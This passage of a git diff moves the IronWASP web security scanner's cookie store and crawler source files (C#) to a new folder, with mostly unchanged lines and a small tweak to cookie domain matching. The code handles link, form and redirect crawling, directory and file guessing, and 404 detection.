Decode(string Value) + { + //return Tools.UrlDecode(Value); + return Value.Replace("%3d", "=").Replace("%3D", "=").Replace("%20", " ").Replace("%3b", ";").Replace("%3B", ";").Replace("%2c", ",").Replace("%2C", ",").Replace("%0d", "\r").Replace("%0D", "\r").Replace("%0a", "\n").Replace("%0A", "\n").Replace("%09", "\t").Replace("%00", "\0"); + } + + internal static string SafeRaw(string Value) + { + return Tools.RelaxedCookieEncode(Value); + } + } +} diff --git a/IronWASP/CookieStore.cs b/Iron/CookieStore.cs similarity index 96% rename from IronWASP/CookieStore.cs rename to Iron/CookieStore.cs index 6ddd656..4013dd3 100644 --- a/IronWASP/CookieStore.cs +++ b/Iron/CookieStore.cs @@ -1,121 +1,121 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Text.RegularExpressions; - -namespace IronWASP -{ - public class CookieStore - { - static CookieStore StaticCookieStore = new CookieStore(); - - List SetCookies = new List(); - - public static void AddToStore(Request Req, Response Res) - { - StaticCookieStore.Add(Req, Res); - } - public static void ReadFromStore(Request Req) - { - Req.SetCookie(StaticCookieStore); - } - - public void Add(Request Req, Response Res) - { - List CookieStrings = new List(); - foreach (SetCookie SC in Res.SetCookies) - { - CookieStrings.Add(SC.FullString); - } - Add(Req.Host, CookieStrings); - } - - public void Add(Request Req, SetCookie SC) - { - Add(Req.Host, SC.FullString); - } - - public void Add(string Host, List Cookies) - { - List NewCookies = new List(); - foreach (string CookieString in Cookies) - { - SetCookie SC = new SetCookie(CookieString); - if (SC.Domain.Length == 0) SC.SetDomain(Host); - NewCookies.Add(SC); - } - lock (SetCookies) - { - foreach (SetCookie SC in NewCookies) - { - List OverWritePositions = new List(); - for (int i = 0; i < SetCookies.Count; i++) - { - if (SetCookies[i].Name.Equals(SC.Name)) - { - if ((SetCookies[i].Domain.Equals(SC.Domain) || SetCookies[i].Domain.EndsWith("." + SC.Domain)) - && (SetCookies[i].Path.Equals(SC.Path) || Regex.IsMatch(SetCookies[i].Path, "^" + SC.Path + "\\W+.*") || SetCookies[i].Path.Length == 0 || SetCookies[i].Path.Equals("/"))) - { - OverWritePositions.Add(i); - } - } - } - for (int i = 0; i < OverWritePositions.Count; i++) - { - SetCookies.RemoveAt(OverWritePositions[i] - i); - } - SetCookies.Add(SC); - } - } - } - - public void Add(string Host, string Cookie) - { - List CookieStrings = new List() { Cookie }; - Add(Host, CookieStrings); - } - - public List GetCookies() - { - List Cookies = new List(SetCookies); - return Cookies; - } - - public List GetCookies(Request Req) - { - List AllCookies = new List(SetCookies); - List Cookies = new List(); - foreach (SetCookie SC in AllCookies) - { - string StoreDomain = SC.Domain; - if (StoreDomain.StartsWith("*")) StoreDomain = StoreDomain.TrimStart(new char[]{'*'}); - if (StoreDomain.StartsWith(".")) StoreDomain = StoreDomain.TrimStart(new char[] { '.' }); - if ((Req.Host.Equals(SC.Domain) || Req.Host.EndsWith("." + StoreDomain)) - && (Req.Url.Equals(SC.Path) || Regex.IsMatch(Req.Url, "^" + SC.Path + "\\W+.*") || Req.Url.Length == 0 || SC.Path.Length == 0 || SC.Path.Equals("/"))) - { - if (SC.Secure && !Req.SSL) continue; - Cookies.Add(SC); - } - } - return Cookies; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Text.RegularExpressions; + +namespace IronWASP +{ + public class CookieStore + { + static CookieStore StaticCookieStore = new CookieStore(); + + List SetCookies = new List(); + + public static void AddToStore(Request Req, Response Res) + { + StaticCookieStore.Add(Req, Res); + } + public static void ReadFromStore(Request Req) + { + Req.SetCookie(StaticCookieStore); + } + + public void Add(Request Req, Response Res) + { + List CookieStrings = new List(); + foreach (SetCookie SC in Res.SetCookies) + { + CookieStrings.Add(SC.FullString); + } + Add(Req.Host, CookieStrings); + } + + public void Add(Request Req, SetCookie SC) + { + Add(Req.Host, SC.FullString); + } + + public void Add(string Host, List Cookies) + { + List NewCookies = new List(); + foreach (string CookieString in Cookies) + { + SetCookie SC = new SetCookie(CookieString); + if (SC.Domain.Length == 0) SC.SetDomain(Host); + NewCookies.Add(SC); + } + lock (SetCookies) + { + foreach (SetCookie SC in NewCookies) + { + List OverWritePositions = new List(); + for (int i = 0; i < SetCookies.Count; i++) + { + if (SetCookies[i].Name.Equals(SC.Name)) + { + if ((SetCookies[i].Domain.Equals(SC.Domain) || SetCookies[i].Domain.EndsWith("." + SC.Domain)) + && (SetCookies[i].Path.Equals(SC.Path) || Regex.IsMatch(SetCookies[i].Path, "^" + SC.Path + "\\W+.*") || SetCookies[i].Path.Length == 0 || SetCookies[i].Path.Equals("/"))) + { + OverWritePositions.Add(i); + } + } + } + for (int i = 0; i < OverWritePositions.Count; i++) + { + SetCookies.RemoveAt(OverWritePositions[i] - i); + } + SetCookies.Add(SC); + } + } + } + + public void Add(string Host, string Cookie) + { + List CookieStrings = new List() { Cookie }; + Add(Host, CookieStrings); + } + + public List GetCookies() + { + List Cookies = new List(SetCookies); + return Cookies; + } + + public List GetCookies(Request Req) + { + List AllCookies = new List(SetCookies); + List Cookies = new List(); + foreach (SetCookie SC in AllCookies) + { + string StoreDomain = SC.Domain; + if (StoreDomain.StartsWith("*")) StoreDomain = StoreDomain.TrimStart(new char[]{'*'}); + if (StoreDomain.StartsWith(".")) StoreDomain = StoreDomain.TrimStart(new char[] { '.' }); + if ((Req.Host.Equals(SC.Domain) || Req.Host.EndsWith("." + StoreDomain) || Req.Host.Equals(StoreDomain)) + && (Req.Url.Equals(SC.Path) || Regex.IsMatch(Req.Url, "^" + SC.Path + "\\W+.*") || Req.Url.Length == 0 || SC.Path.Length == 0 || SC.Path.Equals("/"))) + { + if (SC.Secure && !Req.SSL) continue; + Cookies.Add(SC); + } + } + return Cookies; + } + } +} diff --git a/IronWASP/Crawler.cs b/Iron/Crawler.cs similarity index 73% rename from IronWASP/Crawler.cs rename to Iron/Crawler.cs index cd00f2c..3705d6d 100644 --- a/IronWASP/Crawler.cs +++ b/Iron/Crawler.cs @@ -1,793 +1,947 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using HtmlAgilityPack; -using System.Collections.Generic; -using System.Text; -using System.Threading; -using System.Text.RegularExpressions; - -namespace IronWASP -{ - public class Crawler - { - internal List PageSignatures = new List(); - - internal List Requests = new List(); - - internal int MaxDepth = 10; - - Queue ToCrawlQueue = new Queue(); - - Dictionary CrawlerThreads = new Dictionary(); - - CookieStore Cookies = new CookieStore(); - - int ActiveThreadCount = 0; - - internal static int MaxCrawlThreads = 5; - - internal static string UserAgent = ""; - - int InCrawlQueueDequeueMode = 0; - - Dictionary NotFoundSignatures = new Dictionary(); - - Queue CrawledRequests = new Queue(); - - List FileNamesToCheck = new List(); - List DirNamesToCheck = new List(); - - //This differs slightly from the list in ScanManager: - //htm, html, xhtml should be crawled to extract links, forms etc - //xml should be crawled for checks like crossdomain.xml etc - static List ExtenionsToAvoid = new List() { - "jpg", "png", "gif","bmp", "ico","exif","jpeg",//image files - "7z", "zip", "rar","tar", "gz","tgz","bzip", "bzip2","dmg","cab",//compressed files - "js", "css","svg","svgz","bak",//static web content - "swf","exe", "jar", "msi","deb","bin","class","war",//executable content - "rtf", "txt", "pdf", "doc", "docx", "ppt", "pptx","xls","xlsx", "iso","json","xps","tex","csv","pps","tsv","db","log","rss",//document formats - "mp3","wav","m4a","m4p","aac","dat",//audio content - "mp4","aaf","3gp","wmv","avi","fla","sol","mov","mpeg","mpg","mpe","ogg","rm",//video content - }; - - //Settings - internal List UrlsToAvoid = new List(); - internal List HostsToInclude = new List(); - internal bool HTTP = false; - internal bool HTTPS = false; - internal string StartingUrl = "/"; - internal string BaseUrl = "/"; - internal string PrimaryHost = ""; - internal bool PerformDirAndFileGuessing = true; - internal bool IncludeSubDomains = false; - - internal string[] SpecialHeader = new string[2]; - - bool Stopped = false; - - public void Start() - { - try - { - if (HTTP) - { - Request HttpRequest = new Request(string.Format("http://{0}{1}", PrimaryHost, StartingUrl)); - lock (ToCrawlQueue) - { - ToCrawlQueue.Enqueue(new object[] { HttpRequest, 0, true }); - } - } - if (HTTPS) - { - Request HttpsRequest = new Request(string.Format("https://{0}{1}", PrimaryHost, StartingUrl)); - lock (ToCrawlQueue) - { - ToCrawlQueue.Enqueue(new object[] { HttpsRequest, 0, true }); - } - } - PageSignatures.Clear(); - if (PerformDirAndFileGuessing) SetUpDirAndFileDictionaries(); - Thread T = new Thread(CrawlQueueItem); - T.Start(); - try - { - CrawlerThreads.Add(T.ManagedThreadId, T); - } - catch { } - } - catch (ThreadAbortException){} - catch (Exception Exp) - { - IronException.Report("Error in Crawling", Exp.Message, Exp.StackTrace); - throw (Exp); - } - } - - void SetUpDirAndFileDictionaries() - { - try - { - StreamReader Reader = File.OpenText(Config.RootDir + "/DirNamesDictionary.txt"); - string DirList = Reader.ReadToEnd(); - Reader.Close(); - DirNamesToCheck = new List(DirList.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); - } - catch(Exception Exp) - { - IronException.Report("Error loading DirNamesDictionary.txt", Exp); - } - try - { - StreamReader Reader = File.OpenText(Config.RootDir + "/FileNamesDictionary.txt"); - string FileList = Reader.ReadToEnd(); - Reader.Close(); - FileNamesToCheck = new List(FileList.Split(new string[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries)); - } - catch (Exception Exp) - { - IronException.Report("Error loading FileNamesDictionary.txt", Exp); - } - } - - void Crawl(object ObjectItem) - { - if (Stopped) return; - try - { - object[] Objects = (object[])ObjectItem; - Request Req = (Request)Objects[0]; - int Depth = (int)Objects[1]; - bool Scraped = (bool)Objects[2]; - Crawl(Req, Depth, Scraped); - } - catch (ThreadAbortException) { } - catch (Exception Exp) - { - IronException.Report("Error while Crawling", Exp.Message, Exp.StackTrace); - } - finally - { - CrawlQueueItem(); - } - } - - void Crawl(Request Req, int Depth, bool Scraped) - { - if (Stopped) return; - if (Depth > MaxDepth) return; - if (WasCrawled(Req)) return; - if (!CanCrawl(Req)) return; - - lock (PageSignatures) - { - PageSignatures.Add(GetPageSignature(Req)); - } - - Req.Source = RequestSource.Probe; - Req.SetCookie(Cookies); - if (UserAgent.Length > 0) Req.Headers.Set("User-Agent", UserAgent); - if (SpecialHeader[0] != null) Req.Headers.Set(SpecialHeader[0], SpecialHeader[1]); - if (Stopped) return; - Response Res = Req.Send(); - if (Stopped) return; - Cookies.Add(Req, Res); - bool Is404File = IsA404(Req, Res); - - if (!Res.IsHtml) - { - return; - } - - if (Depth + 1 > MaxDepth) return; - List Redirects = GetRedirects(Req, Res); - foreach (Request Redirect in Redirects) - { - AddToCrawlQueue(Redirect, Depth + 1, true); - } - List LinkClicks = GetLinkClicks(Req, Res); - foreach (Request LinkClick in LinkClicks) - { - AddToCrawlQueue(LinkClick, Depth + 1, true); - } - - List FormSubmissions = GetFormSubmissions(Req, Res); - foreach (Request FormSubmission in FormSubmissions) - { - AddToCrawlQueue(FormSubmission, Depth + 1, true); - } - - Request DirCheck = Req.GetClone(); - DirCheck.Method = "GET"; - DirCheck.Body.RemoveAll(); - DirCheck.Url = DirCheck.UrlDir; - - if (!Req.Url.EndsWith("/")) - { - AddToCrawlQueue(DirCheck, Depth + 1, false); - } - - if (PerformDirAndFileGuessing && !Is404File) - { - foreach (string File in FileNamesToCheck) - { - Request FileCheck = DirCheck.GetClone(); - FileCheck.Url = string.Format("{0}{1}", FileCheck.Url, File); - AddToCrawlQueue(FileCheck, Depth + 1, false); - } - - foreach (string Dir in DirNamesToCheck) - { - Request DirectoryCheck = DirCheck.GetClone(); - DirectoryCheck.Url = string.Format("{0}{1}/", DirectoryCheck.Url, Dir); - AddToCrawlQueue(DirectoryCheck, Depth + 1, false); - } - } - if (Stopped) return; - if (Scraped || !Is404File) - { - lock (CrawledRequests) - { - CrawledRequests.Enqueue(Req.GetClone()); - } - IronUpdater.AddToSiteMap(Req); - } - } - - void CrawlQueueItem() - { - if (Stopped) return; - try - { - Interlocked.Increment(ref InCrawlQueueDequeueMode); - bool Continue = true; - Interlocked.Decrement(ref ActiveThreadCount); - lock (ToCrawlQueue) - { - while (ActiveThreadCount < MaxCrawlThreads && Continue) - { - if (Stopped) return; - Continue = false; - try - { - object[] Objects = ToCrawlQueue.Dequeue(); - Thread T = new Thread(Crawl); - T.Start(Objects); - try - { - lock (CrawlerThreads) - { - CrawlerThreads.Add(T.ManagedThreadId, T); - } - } - catch { } - Interlocked.Increment(ref ActiveThreadCount); - Continue = true; - } - catch { } - } - } - } - catch { } - try - { - lock (CrawlerThreads) - { - CrawlerThreads.Remove(Thread.CurrentThread.ManagedThreadId); - } - } - catch { } - Interlocked.Decrement(ref InCrawlQueueDequeueMode); - } - - bool WasCrawled(Request Req) - { - string ReqSignature = GetPageSignature(Req); - lock(PageSignatures) - { - if (PageSignatures.Contains(ReqSignature)) - { - return true; - } - else - { - return false; - } - } - } - - bool CanCrawl(Request Req) - { - if (!((Req.SSL && HTTPS) || (!Req.SSL && HTTP))) return false; - if(!IsHostAllowed(Req.Host)) return false; - if (!IsCrawlableExtension(Req)) return false; - if (!Req.Url.Equals(BaseUrl)) - { - if (BaseUrl.EndsWith("/")) - { - if (!Req.Url.StartsWith(BaseUrl)) return false; - } - else - { - if (!Req.Url.StartsWith(string.Format("{0}?", BaseUrl))) return false; - } - } - if (UrlsToAvoid.Contains(Req.Url) || UrlsToAvoid.Contains(Req.UrlPath)) return false; - return true; - } - - bool IsCrawlableExtension(Request Req) - { - string Ext = Req.File.ToLower().Trim(); - if (ExtenionsToAvoid.Contains(Ext)) - return false; - else - return true; - } - - bool IsHostAllowed(string Host) - { - if(Host.Equals(PrimaryHost)) return true; - if(IncludeSubDomains && Host.EndsWith(string.Format(".{0}", PrimaryHost))) return true; - foreach(string AH in HostsToInclude) - { - if(Host.Equals(AH)) return true; - if(IncludeSubDomains && Host.EndsWith(string.Format(".{0}", AH))) return true; - } - return false; - } - - bool IsA404(Request Req, Response Res) - { - Response NotFoundResponse = null; - lock (NotFoundSignatures) - { - if (NotFoundSignatures.ContainsKey(string.Format("{0}{1}{2}{3}", Req.SSL, Req.Host, Req.UrlDir, Req.File))) - { - NotFoundResponse = NotFoundSignatures[string.Format("{0}{1}{2}{3}", Req.SSL, Req.Host, Req.UrlDir, Req.File)]; - } - } - if(NotFoundResponse == null) - { - Request NotFoundGetter = Req.GetClone(); - NotFoundGetter.Method = "GET"; - NotFoundGetter.Body.RemoveAll(); - if (Req.File.Length > 0) - NotFoundGetter.Url = string.Format("{0}should_not_xist_{1}.{2}", NotFoundGetter.UrlDir, Tools.GetRandomString(10, 15), Req.File); - else - NotFoundGetter.Url = string.Format("{0}should_not_xist_{1}", NotFoundGetter.UrlDir, Tools.GetRandomString(10, 15)); - NotFoundResponse = NotFoundGetter.Send(); - if (Stopped) return true; - NotFoundResponse.BodyString = ""; - List HeaderNames = NotFoundResponse.Headers.GetNames(); - foreach (string HeaderName in HeaderNames) - { - if (!HeaderName.Equals("Location")) - { - NotFoundResponse.Headers.Remove(HeaderName); - } - } - NotFoundResponse.Flags.Add("Url", NotFoundGetter.Url); - lock (NotFoundSignatures) - { - if (!NotFoundSignatures.ContainsKey(string.Format("{0}{1}{2}{3}", Req.SSL, Req.Host, Req.UrlDir, Req.File))) - NotFoundSignatures.Add(string.Format("{0}{1}{2}{3}", Req.SSL, Req.Host, Req.UrlDir, Req.File), NotFoundResponse); - } - } - if(Res.Code == 200 && NotFoundResponse.Code != 200) return false; - if(Res.Code == 404) return true; - - if (Res.Code > 400) - { - if (NotFoundResponse.Code == Res.Code) - return true; - else - return false; - } - string NotFoundGetterUrl = NotFoundResponse.Flags["Url"].ToString(); - if (Res.Code == 301 || Res.Code == 302 || Res.Code == 303 || Res.Code == 307) - { - string RedirectedUrl = Res.Headers.Get("Location"); - if (NotFoundResponse.Code == 301 || NotFoundResponse.Code == 302 || NotFoundResponse.Code == 303 || NotFoundResponse.Code == 307) - { - string NotFoundRedirectedUrl = NotFoundResponse.Headers.Get("Location"); - if (RedirectedUrl.ToLower().Equals(NotFoundRedirectedUrl.ToLower())) - return true; - else if (Regex.IsMatch(RedirectedUrl, @".*not\Wfound.*", RegexOptions.IgnoreCase)) - return true; - else if (NotFoundRedirectedUrl.Replace(NotFoundGetterUrl,"").Equals(RedirectedUrl.Replace(Req.Url, ""))) - return true; - else - { - Request RedirectedLocationReq; - if (RedirectedUrl.StartsWith("http://") || RedirectedUrl.StartsWith("https://")) - { - RedirectedLocationReq = new Request(RedirectedUrl); - } - else if (RedirectedUrl.StartsWith("/")) - { - RedirectedLocationReq = Req.GetClone(); - RedirectedLocationReq.Url = RedirectedUrl; - } - else - { - return true; - } - Request NotFoundRedirectedLocationReq; - if (NotFoundRedirectedUrl.StartsWith("http://") || NotFoundRedirectedUrl.StartsWith("https://")) - { - NotFoundRedirectedLocationReq = new Request(NotFoundRedirectedUrl); - } - else if (NotFoundRedirectedUrl.StartsWith("/")) - { - NotFoundRedirectedLocationReq = Req.GetClone(); - NotFoundRedirectedLocationReq.Url = NotFoundRedirectedUrl; - } - else - { - return false; - } - if (RedirectedLocationReq.Url.Equals(NotFoundRedirectedLocationReq.Url)) return true; - } - } - else - return false; - } - return false; - } - - internal bool IsActive() - { - lock (ToCrawlQueue) - { - if (ToCrawlQueue.Count > 0) return true; - } - if (ActiveThreadCount > 0 || InCrawlQueueDequeueMode > 0) - return true; - else - return false; - } - - void AddToCrawlQueue(Request Req, int Depth, bool Scraped) - { - if (WasCrawled(Req)) return; - if (!CanCrawl(Req)) return; - lock (ToCrawlQueue) - { - ToCrawlQueue.Enqueue(new object[] { Req, Depth, Scraped }); - } - } - - List GetRedirects(Request Req, Response Res) - { - return GetRedirects(Req, Res, Cookies); - } - - public static List GetRedirects(Request Req, Response Res, CookieStore Cookies) - { - List Redirects = new List(); - List RedirectUrls = GetRedirectUrls(Req, Res); - foreach (string RedirectUrl in RedirectUrls) - { - try - { - Request RedirectReq = new Request(RedirectUrl); - RedirectReq.SetCookie(Cookies); - Redirects.Add(RedirectReq); - } - catch { } - } - return Redirects; - } - - List GetLinkClicks(Request Req, Response Res) - { - return GetLinkClicks(Req, Res, Cookies); - } - - public static List GetLinkClicks(Request Req, Response Res, CookieStore Cookies) - { - List LinkClicks = new List(); - List Links = GetLinks(Req, Res); - foreach (string Link in Links) - { - try - { - Request LinkReq = new Request(Link); - LinkReq.SetCookie(Cookies); - LinkClicks.Add(LinkReq); - } - catch { } - } - return LinkClicks; - } - - List GetFormSubmissions(Request Req, Response Res) - { - return GetFormSubmissions(Req, Res, Cookies); - } - - public static List GetFormSubmissions(Request Req, Response Res, CookieStore Cookies) - { - List FormSubmissions = new List(); - List FormNodes = Res.Html.GetForms(); - foreach (HtmlNode FormNode in FormNodes) - { - Request SubReq = Req.GetClone(); - SubReq.Method = "GET"; - SubReq.BodyString = ""; - - foreach (HtmlAttribute Attr in FormNode.Attributes) - { - if (Attr.Name.Equals("method")) - { - SubReq.Method = Attr.Value.ToUpper(); - } - else if(Attr.Name.Equals("action")) - { - if (Attr.Value.StartsWith("javascript:")) continue; - string ActionUrl = NormalizeUrl(Req, Tools.HtmlDecode(Attr.Value.Trim())); - if (ActionUrl.Length > 0) - { - SubReq.FullUrl = ActionUrl; - } - } - } - - if (SubReq.Method == "GET") - { - SubReq.Query.RemoveAll(); - } - else - { - SubReq.Headers.Set("Content-Type", "application/x-www-form-urlencoded"); - } - - foreach (HtmlNode InputNode in FormNode.ChildNodes) - { - string Name = ""; - string Value = ""; - foreach (HtmlAttribute Attr in InputNode.Attributes) - { - switch(Attr.Name) - { - case("name"): - Name = Attr.Value; - break; - case("type"): - if(Attr.Value.Equals("submit")) Name = ""; - break; - case("value"): - Value = Attr.Value; - break; - } - } - if (Value.Length == 0) - { - Value = Tools.GetRandomString(2,5); - } - if (Name.Length > 0) - { - if (SubReq.Method.Equals("GET")) - SubReq.Query.Add(Name, Value); - else - SubReq.Body.Add(Name, Value); - } - } - SubReq.SetCookie(Cookies); - FormSubmissions.Add(SubReq); - } - return FormSubmissions; - } - - public static List GetRedirectUrls(Request Req, Response Res) - { - List RedirectUrls = new List(); - - List LocationUrls = new List(); - if (Res.Headers.Has("Location")) LocationUrls.Add(Res.Headers.Get("Location")); - if (Res.IsHtml) - { - List LocationsFromHtml = Res.Html.GetMetaContent("http-equiv", "location"); - foreach (string LocationFromHtml in LocationsFromHtml) - { - LocationUrls.Add(Tools.HtmlDecode(LocationFromHtml)); - } - } - - foreach(string LocationUrl in LocationUrls) - { - string NormalizedLocation = NormalizeUrl(Req, LocationUrl); - if (NormalizedLocation.Length > 0) RedirectUrls.Add(NormalizedLocation); - } - - List RefreshHeaderVals = new List(); - - if (Res.Headers.Has("Refresh")) RefreshHeaderVals.Add(Res.Headers.Get("Refresh")); - if (Res.IsHtml) - { - List RefreshsFromHtml = Res.Html.GetMetaContent("http-equiv", "refresh"); - foreach (string RefreshFromHtml in RefreshsFromHtml) - { - RefreshHeaderVals.Add(Tools.HtmlDecode(RefreshFromHtml)); - } - } - - foreach(string RefreshHeaderVal in RefreshHeaderVals) - { - string[] RefreshHVParts = RefreshHeaderVal.Split(new char[]{';'}, 2); - if (RefreshHVParts.Length == 2 && RefreshHVParts[1].Length > 0) - { - string NormalizedRefreshUrl = NormalizeUrl(Req, RefreshHVParts[1]); - if (NormalizedRefreshUrl.Length > 0) RedirectUrls.Add(NormalizedRefreshUrl); - } - } - - return RedirectUrls; - } - - static List GetLinks(Request Req, Response Res) - { - List Links = new List(); - foreach (string Link in Res.Html.Links) - { - string NormalizedUrl = NormalizeUrl(Req, Link); - if (NormalizedUrl.Length > 0) Links.Add(NormalizedUrl); - } - return Links; - } - - static string NormalizeUrl(Request Req, string RawLink) - { - if (RawLink.IndexOf('#') > -1) - { - RawLink = RawLink.Substring(0, RawLink.IndexOf('#')); - } - if (RawLink.StartsWith("http://") || RawLink.StartsWith("https://")) - { - return RawLink; - } - else if (RawLink.StartsWith("//")) - { - if (Req.SSL) - RawLink = string.Format("https:{0}", RawLink); - else - RawLink = string.Format("http:{0}", RawLink); - } - else if (RawLink.StartsWith("/")) - { - Request TempReq = Req.GetClone(); - TempReq.Url = RawLink; - return TempReq.FullUrl; - } - else if (RawLink.StartsWith("javascript:") || RawLink.StartsWith("file:")) - { - //ignore - } - else - { - List UrlPathParts = Req.UrlPathParts; - if (UrlPathParts.Count > 0) - { - if (!Req.Url.EndsWith("/")) UrlPathParts.RemoveAt(UrlPathParts.Count - 1); - } - - if (RawLink.StartsWith("../")) - { - string[] RawUrlParts = RawLink.Split(new char[] { '/' }); - List TreatedRawUrlParts = new List(RawUrlParts); - foreach (string Part in RawUrlParts) - { - if (Part.Equals("..") && (UrlPathParts.Count > 0)) - { - UrlPathParts.RemoveAt(UrlPathParts.Count - 1); - TreatedRawUrlParts.RemoveAt(0); - } - else - { - break; - } - } - StringBuilder TreatedRawUrlBuilder = new StringBuilder("/"); - foreach (string RawPart in TreatedRawUrlParts) - { - TreatedRawUrlBuilder.Append(RawPart); - } - string TreatedRawUrl = TreatedRawUrlBuilder.ToString(); - if (!RawLink.EndsWith("/")) - { - TreatedRawUrl = TreatedRawUrl.TrimEnd(new char[] { '/' }); - } - Request TempReq = Req.GetClone(); - Request NormaliserRequest = new Request(TempReq.FullUrl); - NormaliserRequest.Url = "/"; - NormaliserRequest.UrlPathParts = UrlPathParts; - TempReq.Url = NormaliserRequest.Url; - TempReq.Url = string.Format("{0}{1}", TempReq.Url.TrimEnd(new char[] { '/' }), TreatedRawUrl); - return TempReq.FullUrl; - } - else if (RawLink.Length > 0) - { - Request TempReq = Req.GetClone(); - Request NormaliserRequest = new Request(TempReq.FullUrl); - NormaliserRequest.Url = "/"; - NormaliserRequest.UrlPathParts = UrlPathParts; - TempReq.Url = NormaliserRequest.Url; - - if (TempReq.Url.EndsWith("/")) - { - TempReq.Url = string.Format("{0}{1}", TempReq.Url, RawLink); - } - else - { - TempReq.Url = string.Format("{0}/{1}", TempReq.Url, RawLink); - } - return TempReq.FullURL; - } - } - return ""; - } - - string GetPageSignature(Request Req) - { - StringBuilder Signature = new StringBuilder(); - Signature.Append(Req.SSL.ToString()); - Signature.Append(Req.Host); - Signature.Append(Req.Method); - Signature.Append(Req.Url); - Signature.Append(Req.BodyString); - Signature.Append(Req.CookieString); - return Tools.MD5(Signature.ToString()); - } - - public List GetCrawledRequests() - { - List Requests = new List(); - lock (CrawledRequests) - { - Requests = new List(CrawledRequests.ToArray()); - CrawledRequests.Clear(); - } - return Requests; - } - - public void Stop() - { - Stopped = true; - lock (CrawlerThreads) - { - //List IDs = new List(CrawlerThreads.Keys); - //foreach (int ID in IDs) - //{ - // try - // { - // CrawlerThreads[ID].Abort(); - // } - // catch { } - //} - CrawlerThreads.Clear(); - } - lock (NotFoundSignatures) - { - NotFoundSignatures.Clear(); - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using HtmlAgilityPack; +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace IronWASP +{ + public class Crawler + { + internal List PageSignatures = new List(); + + internal List Requests = new List(); + + internal int MaxDepth = 10; + + Queue ToCrawlQueue = new Queue(); + + Dictionary CrawlerThreads = new Dictionary(); + + CookieStore Cookies = new CookieStore(); + + int ActiveThreadCount = 0; + + internal static int MaxCrawlThreads = 5; + + internal static string UserAgent = ""; + + int InCrawlQueueDequeueMode = 0; + + Dictionary NotFoundSignatures = new Dictionary(); + + Queue CrawledRequests = new Queue(); + + List FileNamesToCheck = new List(); + List DirNamesToCheck = new List(); + + //This differs slightly from the list in ScanManager: + //htm, html, xhtml should be crawled to extract links, forms etc + //xml should be crawled for checks like crossdomain.xml etc + internal static List ExtenionsToAvoid = new List() { + "jpg", "png", "gif","bmp", "ico","exif","jpeg",//image files + "7z", "zip", "rar","tar", "gz","tgz","bzip", "bzip2","dmg","cab",//compressed files + "js", "css","svg","svgz","bak",//static web content + "swf","exe", "jar", "msi","deb","bin","class","war",//executable content + "rtf", "txt", "pdf", "doc", "docx", "ppt", "pptx","xls","xlsx", "iso","json","xps","tex","csv","pps","tsv","db","log","rss",//document formats + "mp3","wav","m4a","m4p","aac","dat",//audio content + "mp4","aaf","3gp","wmv","avi","fla","sol","mov","mpeg","mpg","mpe","ogg","rm",//video content + }; + + //Settings + internal List UrlsToAvoid = new List(); + internal List HostsToInclude = new List(); + internal bool HTTP = false; + internal bool HTTPS = false; + internal string StartingUrl = "/"; + internal string BaseUrl = "/"; + internal string PrimaryHost = ""; + internal bool PerformDirAndFileGuessing = true; + internal bool IncludeSubDomains = false; + + internal string[] SpecialHeader = new string[2]; + + bool Stopped = false; + + public void Start() + { + try + { + if (HTTP) + { + Request HttpRequest = new Request(string.Format("http://{0}{1}", PrimaryHost, StartingUrl)); + lock (ToCrawlQueue) + { + ToCrawlQueue.Enqueue(new object[] { HttpRequest, 0, true }); + } + } + if (HTTPS) + { + Request HttpsRequest = new Request(string.Format("https://{0}{1}", PrimaryHost, StartingUrl)); + lock (ToCrawlQueue) + { + ToCrawlQueue.Enqueue(new object[] { HttpsRequest, 0, true }); + } + } + PageSignatures.Clear(); + if (PerformDirAndFileGuessing) SetUpDirAndFileDictionaries(); + Thread T = new Thread(CrawlQueueItem); + T.Start(); + try + { + CrawlerThreads.Add(T.ManagedThreadId, T); + } + catch { } + } + catch (ThreadAbortException){} + catch (Exception Exp) + { + IronException.Report("Error in Crawling", Exp.Message, Exp.StackTrace); + throw (Exp); + } + } + + void SetUpDirAndFileDictionaries() + { + try + { + StreamReader Reader = File.OpenText(Config.RootDir + "/DirNamesDictionary.txt"); + string DirList = Reader.ReadToEnd(); + Reader.Close(); + DirNamesToCheck = new List(DirList.Split(new string[] { "\r\n" }, 